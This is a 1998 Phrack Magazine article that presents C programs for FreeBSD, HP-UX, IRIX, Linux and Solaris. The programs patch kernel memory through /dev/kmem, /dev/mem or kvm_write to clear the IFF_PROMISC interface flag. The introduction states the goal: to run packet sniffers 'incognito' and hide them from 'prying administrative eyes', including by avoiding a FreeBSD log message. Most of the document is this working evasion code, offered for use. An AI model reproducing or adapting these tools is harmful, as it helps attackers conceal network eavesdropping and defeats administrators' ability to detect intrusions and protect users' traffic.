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[Phrack] Interface Promiscuity Obscurity (security interface)


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Subject: [Phrack] Interface Promiscuity Obscurity ---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 10 of 15 -------------------------[ Interface Promiscuity Obscurity --------[ apk <apk@itl.waw.pl> ----[ INTRODUCTION Normally, when you put an interface into promiscuous mode, it sets a flag in the device interface structure telling the world (or anyone who wants to check) that the device, is indeed, in promiscuous mode. This is, of course, annoying to those of you who want to obscure this fact from prying administrative eyes. Behold intrepid hacker, your salvation is at hand. The following modules for FreeBSD, Linux, HP-UX, IRIX and Solaris allow you to obscure the IFF_PROMISC bit and run all your wonderful little packet sniffers incognito... ----[ IMPLEMENTATION DETAILS Usage of the code is simple. After you put the interface into promiscuous mode, you can clean the IFF_PROMISC flag with: `./i <interface> 0` and reset the flag with: `./i <interface> 1`. Note that these programs only change interface's flag value, they don't affect NIC status. On systems which allow setting promiscuous mode by SIOCSIFFLAGS however, any call to SIOCSIFFLAGS will make the change take effect (e.g. after clearing promisc flag: 'ifconfig <interface> up' will really turn off promiscuous mode). Systems for which above is true are: FreeBSD, Linux, Irix. On these three you can run a sniffer in non-promiscuous mode, and then some time later set IFF_PROIMISC on the interface, then with the above command set promiscuous mode for interface. This is most useful on FreeBSD because in doing this you won't get that annoying `promiscuous mode enabled for <interface>' message in the dmesg buffer (it's only logged when you enable promiscuous mode via bpf by BIOCPROMISC). On Solaris, every alias has its own flags, so you can set flags for any alias: 'interface[:<alias number>]' (because Solaris doesn't set IFF_PROMISC when you turn on promiscuous mode using DLPI you don't need this program however). ----[ THE CODE <++> EX/promisc/freebsd-p.c /* * promiscuous flag changer v0.1, apk * FreeBSD version, compile with -lkvm * * usage: promisc [interface 0|1] * * note: look at README for notes */ #ifdef __FreeBSD__ # include <osreldate.h> # if __FreeBSD_version >= 300000 # define FBSD3 # endif #endif #include <sys/types.h> #include <sys/time.h> #include <sys/socket.h> #include <net/if.h> #ifdef FBSD3 # include <net/if_var.h> #endif #include <kvm.h> #include <nlist.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define IFFBITS \ "\1UP\2BROADCAST\3DEBUG\4LOOPBACK\5POINTOPOINT\6NOTRAILERS\7RUNNING" \ "\10NOARP\11PROMISC\12ALLMULTI\13OACTIVE\14SIMPLEX\15LINK0\16LINK1\17LINK2" \ "\20MULTICAST" struct nlist nl[] = { { "_ifnet" }, #define N_IFNET 0 { "" } }; int kread(kvm_t *kd, u_long addr, void *buf, int len) { int c; if ((c = kvm_read(kd, addr, buf, len)) != len) return -1; return c; } int kwrite(kvm_t *kd, u_long addr, void *buf, int len) { int c; if ((c = kvm_write(kd, addr, buf, len)) != len) return -1; return c; } void usage(char *s) { printf("usage: %s [interface 0|1]\n", s); exit(1); } int main(int argc, char *argv[]) { #ifdef FBSD3 struct ifnethead ifh; #endif struct ifnet ifn, *ifp; char ifname[IFNAMSIZ]; int unit, promisc, i, any; char *interface, *cp; kvm_t *kd; switch (argc) { case 1: promisc = -1; interface = NULL; break; case 3: interface = argv[1]; if ((cp = strpbrk(interface, "1234567890")) == NULL) { printf("bad interface name: %s\n", interface); exit(1); } unit = strtol(cp, NULL, 10); *cp = 0; promisc = atoi(argv[2]); break; default: usage(argv[0]); } if ((kd = kvm_open(NULL, NULL, NULL, O_RDWR, argv[0])) == NULL) exit(1); if (kvm_nlist(kd, nl) == -1) { perror("kvm_nlist"); exit(1); } if (nl[N_IFNET].n_type == 0) { printf("Cannot find symbol: %s\n", nl[N_IFNET].n_name); exit(1); } #ifdef FBSD3 if (kread(kd, nl[N_IFNET].n_value, &ifh, sizeof(ifh)) == -1) { perror("kread"); exit(1); } ifp = ifh.tqh_first; #else if (kread(kd, nl[N_IFNET].n_value, &ifp, sizeof(ifp)) == -1) { perror("kread"); exit(1); } if (kread(kd, (u_long)ifp, &ifp, sizeof(ifp)) == -1) { perror("kread"); exit(1); } #endif #ifdef FBSD3 for (; ifp; ifp = ifn.if_link.tqe_next) { #else for (; ifp; ifp = ifn.if_next) { #endif if (kread(kd, (u_long)ifp, &ifn, sizeof(ifn)) == -1) { perror("kread"); break; } if (kread(kd, (u_long)ifn.if_name, ifname, sizeof(ifname)) == -1) { perror("kread"); break; } printf("%d: %s%d, flags=0x%x ", ifn.if_index, ifname, ifn.if_unit, (unsigned short)ifn.if_flags); /* this is from ifconfig sources */ cp = IFFBITS; any = 0; putchar('<'); while ((i = *cp++) != 0) { if (ifn.if_flags & (1 << (i-1))) { if (any) putchar(','); any = 1; for (; *cp > 32; ) putchar(*cp++); } else for (; *cp > 32; cp++) ; } putchar('>'); putchar('\n'); if (interface && strcmp(interface, ifname) == 0 && unit == ifn.if_unit) { switch (promisc) { case -1: break; case 0: if ((ifn.if_flags & IFF_PROMISC) == 0) printf("\tIFF_PROMISC not set\n"); else { printf("\t%s%d: clearing IFF_PROMISC\n", ifname, unit); ifn.if_flags &= ~IFF_PROMISC; if (kwrite(kd, (u_long)ifp, &ifn, sizeof(ifn)) == -1) perror("kwrite"); } break; default: if ((ifn.if_flags & IFF_PROMISC) == IFF_PROMISC) printf("\tIFF_PROMISC set already\n"); else { printf("\t%s%d: setting IFF_PROMISC\n", ifname, unit); ifn.if_flags |= IFF_PROMISC; if (kwrite(kd, (u_long)ifp, &ifn, sizeof(ifn)) == -1) perror("kwrite"); } break; } } } } <--> <++> EX/promisc/hpux-p.c /* * promiscuous flag changer v0.1, apk * HP-UX version, on HP-UX 9.x compile with -DHPUX9 * * usage: promisc [interface 0|1] * * note: look at README for notes */ /* #define HPUX9 on HP-UX 9.x */ #include <sys/types.h> #include <sys/socket.h> #include <net/if.h> #include <nlist.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #ifndef HPUX9 # define PATH_VMUNIX "/stand/vmunix" #else # define PATH_VMUNIX "/hp-ux" #endif #define PATH_KMEM "/dev/kmem" #define IFFBITS \ "\1UP\2BROADCAST\3DEBUG\4LOOPBACK\5POINTOPOINT\6NOTRAILERS\7RUNNING" \ "\10NOARP\11PROMISC\12ALLMULTI\13LOCALSUBNETS\14MULTICAST\15CKO\16xNOACC" struct nlist nl[] = { { "ifnet" }, #define N_IFNET 0 { "" } }; int kread(fd, addr, buf, len) int fd, len; off_t addr; void *buf; { int c; if (lseek(fd, addr, SEEK_SET) == -1) return -1; if ((c = read(fd, buf, len)) != len) return -1; return c; } int kwrite(fd, addr, buf, len) int fd, len; off_t addr; void *buf; { int c; if (lseek(fd, addr, SEEK_SET) == -1) return -1; if ((c = write(fd, buf, len)) != len) return -1; return c; } void usage(s) char *s; { printf("usage: %s [interface 0|1]\n", s); exit(1); } main(argc, argv) int argc; char **argv; { struct ifnet ifn, *ifp; char ifname[IFNAMSIZ]; int fd, unit, promisc, i, any; char *interface, *cp; switch (argc) { case 1: promisc = -1; interface = NULL; break; case 3: interface = argv[1]; if ((cp = strpbrk(interface, "1234567890")) == NULL) { printf("bad interface name: %s\n", interface); exit(1); } unit = strtol(cp, NULL, 10); *cp = 0; promisc = atoi(argv[2]); break; default: usage(argv[0]); } if (nlist(PATH_VMUNIX, nl) == -1) { perror(PATH_VMUNIX); exit(1); } if (nl[N_IFNET].n_type == 0) { printf("Cannot find symbol: %s\n", nl[0].n_name); exit(1); } if ((fd = open(PATH_KMEM, O_RDWR)) == -1) { perror(PATH_KMEM); exit(1); } if (kread(fd, nl[N_IFNET].n_value, &ifp, sizeof(ifp)) == -1) { perror("kread"); exit(1); } for (; ifp; ifp = ifn.if_next) { if (kread(fd, (u_long)ifp, &ifn, sizeof(ifn)) == -1) { perror("kread"); break; } if (kread(fd, (u_long)ifn.if_name, ifname, sizeof(ifname)) == -1) { perror("kread"); break; } printf("%d: %s%d, flags=0x%x ", ifn.if_index, ifname, ifn.if_unit, ifn.if_flags); cp = IFFBITS; any = 0; putchar('<'); while ((i = *cp++) != 0) { if (ifn.if_flags & (1 << (i-1))) { if (any) putchar(','); any = 1; for (; *cp > 32; ) putchar(*cp++); } else for (; *cp > 32; cp++) ; } putchar('>'); putchar('\n'); if (interface && strcmp(interface, ifname) == 0 && unit == ifn.if_unit) { switch (promisc) { case -1: break; case 0: if ((ifn.if_flags & IFF_PROMISC) == 0) printf("\tIFF_PROMISC not set\n"); else { printf("\t%s%d: clearing IFF_PROMISC\n", ifname, unit); ifn.if_flags &= ~IFF_PROMISC; if (kwrite(fd, (u_long)ifp, &ifn, sizeof(ifn)) == -1) break; } break; default: if ((ifn.if_flags & IFF_PROMISC) == IFF_PROMISC) printf("\tIFF_PROMISC set already\n"); else { printf("\t%s%d: setting IFF_PROMISC\n", ifname, unit); ifn.if_flags |= IFF_PROMISC; if (kwrite(fd, (u_long)ifp, &ifn, sizeof(ifn)) == -1) break; } } } } } <--> <++> EX/promisc/irix-p.c /* * promiscuous flag changer v0.1, apk * Irix version, on Irix 6.x compile with -lelf, on 5.x with -lmld * * usage: promisc [interface 0|1] * * note: look at README for notes on irix64 compile with -DI64 -64 */ /* #define I64 for Irix64*/ #include <sys/types.h> #include <sys/socket.h> #include <net/if.h> #include <nlist.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define PATH_VMUNIX "/unix" #define PATH_KMEM "/dev/kmem" #define IFFBITS \ "\1UP\2BROADCAST\3DEBUG\4LOOPBACK\5POINTOPOINT\6NOTRAILERS\7RUNNING" \ "\10NOARP\11PROMISC\12ALLMULTI\13LOCALSUBNETS\14MULTICAST\15CKO\16xNOACC" #ifdef I64 struct nlist64 nl[] = { #else struct nlist nl[] = { #endif { "ifnet" }, #define N_IFNET 0 { "" } }; int kread(int fd, off_t addr, void *buf, int len) { int c; #ifdef I64 if (lseek64(fd, (off_t)addr, SEEK_SET) == -1) #else if (lseek(fd, (off_t)addr, SEEK_SET) == -1) #endif return -1; if ((c = read(fd, buf, len)) != len) return -1; return c; } int kwrite(int fd, off_t addr, void *buf, int len) { int c; #ifdef I64 if (lseek64(fd, (off_t)addr, SEEK_SET) == -1) #else if (lseek(fd, (off_t)addr, SEEK_SET) == -1) #endif return -1; if ((c = write(fd, buf, len)) != len) return -1; return c; } void usage(s) char *s; { printf("usage: %s [interface 0|1]\n", s); exit(1); } main(argc, argv) int argc; char **argv; { struct ifnet ifn, *ifp; char ifname[IFNAMSIZ]; int fd, unit, promisc, i, any; char *interface, *cp; switch (argc) { case 1: promisc = -1; interface = NULL; break; case 3: interface = argv[1]; if ((cp = strpbrk(interface, "1234567890")) == NULL) { printf("bad interface name: %s\n", interface); exit(1); } unit = strtol(cp, NULL, 10); *cp = 0; promisc = atoi(argv[2]); break; default: usage(argv[0]); } #ifdef I64 if (nlist64(PATH_VMUNIX, nl) == -1) { #else if (nlist(PATH_VMUNIX, nl) == -1) { #endif perror(PATH_VMUNIX); exit(1); } if (nl[N_IFNET].n_type == 0) { printf("Cannot find symbol: %s\n", nl[0].n_name); exit(1); } if ((fd = open(PATH_KMEM, O_RDWR)) == -1) { perror(PATH_KMEM); exit(1); } if (kread(fd, nl[N_IFNET].n_value, &ifp, sizeof(ifp)) == -1) { perror("kread"); exit(1); } for (; ifp; ifp = ifn.if_next) { if (kread(fd, (u_long)ifp, &ifn, sizeof(ifn)) == -1) { perror("kread"); break; } if (kread(fd, (u_long)ifn.if_name, ifname, sizeof(ifname)) == -1) { perror("kread"); break; } printf("%d: %s%d, flags=0x%x ", ifn.if_index, ifname, ifn.if_unit, ifn.if_flags); cp = IFFBITS; any = 0; putchar('<'); while ((i = *cp++) != 0) { if (ifn.if_flags & (1 << (i-1))) { if (any) putchar(','); any = 1; for (; *cp > 32; ) putchar(*cp++); } else for (; *cp > 32; cp++) ; } putchar('>'); putchar('\n'); if (interface && strcmp(interface, ifname) == 0 && unit == ifn.if_unit) { switch (promisc) { case -1: break; case 0: if ((ifn.if_flags & IFF_PROMISC) == 0) printf("\tIFF_PROMISC not set\n"); else { printf("\t%s%d: clearing IFF_PROMISC\n", ifname, unit); ifn.if_flags &= ~IFF_PROMISC; if (kwrite(fd, (u_long)ifp, &ifn, sizeof(ifn)) == -1) break; } break; default: if ((ifn.if_flags & IFF_PROMISC) == IFF_PROMISC) printf("\tIFF_PROMISC set already\n"); else { printf("\t%s%d: setting IFF_PROMISC\n", ifname, unit); ifn.if_flags |= IFF_PROMISC; if (kwrite(fd, (u_long)ifp, &ifn, sizeof(ifn)) == -1) break; } } } } } <--> <++> EX/promisc/linux-p.c /* * promiscuous flag changer v0.1, apk * Linux version * * usage: promisc [interface 0|1] * * note: look at README for notes */ #include <sys/types.h> #include <sys/socket.h> #include <net/if.h> #define __KERNEL__ #include <linux/netdevice.h> #undef __KERNEL__ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define HEAD_NAME "dev_base" #define PATH_KSYMS "/proc/ksyms" #define PATH_KMEM "/dev/mem" #define IFFBITS \ "\1UP\2BROADCAST\3DEBUG\4LOOPBACK\5POINTOPOINT\6NOTRAILERS\7RUNNING" \ "\10NOARP\11PROMISC\12ALLMULTI\13MASTER\14SLAVE\15MULTICAST" int kread(int fd, u_long addr, void *buf, int len) { int c; if (lseek(fd, (off_t)addr, SEEK_SET) == -1) return -1; if ((c = read(fd, buf, len)) != len) return -1; return c; } int kwrite(int fd, u_long addr, void *buf, int len) { int c; if (lseek(fd, (off_t)addr, SEEK_SET) == -1) return -1; if ((c = write(fd, buf, len)) != len) return -1; return c; } void usage(char *s) { printf("usage: %s [interface 0|1]\n", s); exit(1); } main(int argc, char *argv[]) { struct device devn, *devp; char ifname[IFNAMSIZ]; int fd, unit, promisc, i, any; char *interface, *cp; FILE *fp; char line[256], symname[256]; switch (argc) { case 1: promisc = -1; interface = NULL; break; case 3: interface = argv[1]; unit = 0; if ((cp = strchr(interface, ':')) != NULL) { *cp++ = 0; unit = strtol(cp, NULL, 10); } promisc = atoi(argv[2]); break; default: usage(argv[0]); } if ((fp = fopen(PATH_KSYMS, "r")) == NULL) { perror(PATH_KSYMS); exit(1); } devp = NULL; while (fgets(line, sizeof(line), fp) != NULL && sscanf(line, "%x %s", &i, symname) == 2) if (strcmp(symname, HEAD_NAME) == 0) { devp = (struct device *)i; break; } fclose(fp); if (devp == NULL) { printf("Cannot find symbol: %s\n", HEAD_NAME); exit(1); } if ((fd = open(PATH_KMEM, O_RDWR)) == -1) { perror(PATH_KMEM); exit(1); } if (kread(fd, (u_long)devp, &devp, sizeof(devp)) == -1) { perror("kread"); exit(1); } for (; devp; devp = devn.next) { if (kread(fd, (u_long)devp, &devn, sizeof(devn)) == -1) { perror("kread"); break; } if (kread(fd, (u_long)devn.name, ifname, sizeof(ifname)) == -1) { perror("kread"); break; } printf("%s: flags=0x%x ", ifname, devn.flags); cp = IFFBITS; any = 0; putchar('<'); while ((i = *cp++) != 0) { if (devn.flags & (1 << (i-1))) { if (any) putchar(','); any = 1; for (; *cp > 32; ) putchar(*cp++); } else for (; *cp > 32; cp++) ; } putchar('>'); putchar('\n'); /* This sux */ /* if (interface && strcmp(interface, ifname) == 0 && unit == ifn.if_unit) {*/ if (interface && strcmp(interface, ifname) == 0) { switch (promisc) { case -1: break; case 0: if ((devn.flags & IFF_PROMISC) == 0) printf("\tIFF_PROMISC not set\n"); else { printf("\t%s: clearing IFF_PROMISC\n", ifname); devn.flags &= ~IFF_PROMISC; if (kwrite(fd, (u_long)devp, &devn, sizeof(devn)) == -1) break; } break; default: if ((devn.flags & IFF_PROMISC) == IFF_PROMISC) printf("\tIFF_PROMISC set already\n"); else { printf("\t%s: setting IFF_PROMISC\n", ifname); devn.flags |= IFF_PROMISC; if (kwrite(fd, (u_long)devp, &devn, sizeof(devn)) == -1) break; } } } } } <--> <++> EX/promisc/socket-p.c /* * This is really dumb program. * Works on Linux, FreeBSD and Irix. * Check README for comments. */ #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <sys/ioctl.h> #include <net/if.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { int sd; struct ifreq ifr; char *interface; int promisc; if (argc != 3) { printf("usage: %s interface 0|1\n", argv[0]); exit(1); } interface = argv[1]; promisc = atoi(argv[2]); if ((sd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) { perror("socket"); exit(1); } strncpy(ifr.ifr_name, interface, IFNAMSIZ); if (ioctl(sd, SIOCGIFFLAGS, &ifr) == -1) { perror("SIOCGIFFLAGS"); exit(1); } printf("flags = 0x%x\n", (u_short)ifr.ifr_flags); if (promisc) ifr.ifr_flags |= IFF_PROMISC; else ifr.ifr_flags &= ~IFF_PROMISC; if (ioctl(sd, SIOCSIFFLAGS, &ifr) == -1) { perror("SIOCSIFFLAGS"); exit(1); } close(sd); } <--> <++> EX/promisc/solaris-p.c /* * promiscuous flag changer v0.1, apk * Solaris version, compile with -lkvm -lelf * * usage: promisc [interface 0|1] * (interface has "interface[:<alias number>]" format, e.g. le0:1 or le0) * * note: look at README for notes because DLPI promiscuous request doesn't * set IFF_PROMISC this version is kinda useless. */ #include <sys/types.h> #include <sys/time.h> #include <sys/stream.h> #include <sys/socket.h> #include <net/if.h> #define _KERNEL #include <inet/common.h> #include <inet/led.h> #include <inet/ip.h> #undef _KERNEL #include <kvm.h> #include <nlist.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define IFFBITS \ "\1UP\2BROADCAST\3DEBUG\4LOOPBACK\5POINTOPOINT\6NOTRAILERS\7RUNNING" \ "\10NOARP\11PROMISC\12ALLMULTI\13INTELLIGENT\14MULTICAST\15MULTI_BCAST" \ "\16UNNUMBERED\17PRIVATE" struct nlist nl[] = { { "ill_g_head" }, #define N_ILL_G_HEAD 0 { "" } }; int kread(kvm_t *kd, u_long addr, void *buf, int len) { int c; if ((c = kvm_read(kd, addr, buf, len)) != len) return -1; return c; } int kwrite(kvm_t *kd, u_long addr, void *buf, int len) { int c; if ((c = kvm_write(kd, addr, buf, len)) != len) return -1; return c; } void usage(char *s) { printf("usage: %s [interface 0|1]\n", s); exit(1); } int main(int argc, char *argv[]) { ill_t illn, *illp; ipif_t ipifn, *ipifp; char ifname[IFNAMSIZ]; /* XXX IFNAMSIZ? */ int unit, promisc, i, any; char *interface, *cp; kvm_t *kd; switch (argc) { case 1: promisc = -1; interface = NULL; break; case 3: interface = argv[1]; unit = 0; if ((cp = strchr(interface, ':')) != NULL) { *cp++ = 0; unit = strtol(cp, NULL, 10); } promisc = atoi(argv[2]); break; default: usage(argv[0]); } if ((kd = kvm_open(NULL, NULL, NULL, O_RDWR, argv[0])) == NULL) exit(1); if (kvm_nlist(kd, nl) == -1) { perror("kvm_nlist"); exit(1); } if (nl[N_ILL_G_HEAD].n_type == 0) { printf("Cannot find symbol: %s\n", nl[N_ILL_G_HEAD].n_name); exit(1); } if (kread(kd, nl[N_ILL_G_HEAD].n_value, &illp, sizeof(illp)) == -1) { perror("kread"); exit(1); } for (; illp; illp = illn.ill_next) { if (kread(kd, (u_long)illp, &illn, sizeof(illn)) == -1) { perror("kread"); break; } if (kread(kd, (u_long)illn.ill_name, ifname, sizeof(ifname)) == -1) { perror("kread"); break; } ipifp = illn.ill_ipif; /* on Solaris you can set different flags for every alias, so we do */ for (; ipifp; ipifp = ipifn.ipif_next) { if (kread(kd, (u_long)ipifp, &ipifn, sizeof(ipifn)) == -1) { perror("kread"); break; } printf("%s:%d, flags=0x%x ", ifname, ipifn.ipif_id, ipifn.ipif_flags); cp = IFFBITS; any = 0; putchar('<'); while ((i = *cp++) != 0) { if (ipifn.ipif_flags & (1 << (i-1))) { if (any) putchar(','); any = 1; for (; *cp > 32; ) putchar(*cp++); } else for (; *cp > 32; cp++) ; } putchar('>'); putchar('\n'); if (interface && strcmp(interface, ifname) == 0 && unit == ipifn.ipif_id){ switch (promisc) { case -1: break; case 0: if ((ipifn.ipif_flags & IFF_PROMISC) == 0) printf("\tIFF_PROMISC not set\n"); else { printf("\t%s:%d: clearing IFF_PROMISC\n", ifname, unit); ipifn.ipif_flags &= ~IFF_PROMISC; if (kwrite(kd, (u_long)ipifp, &ipifn, sizeof(ipifn)) == -1) perror("kwrite"); } break; default: if ((ipifn.ipif_flags & IFF_PROMISC) == IFF_PROMISC) printf("\tIFF_PROMISC set already\n"); else { printf("\t%s:%d: setting IFF_PROMISC\n", ifname, unit); ipifn.ipif_flags |= IFF_PROMISC; if (kwrite(kd, (u_long)ipifp, &ipifn, sizeof(ipifn)) == -1) perror("kwrite"); } break; } } } } } <--> ----[ EOF

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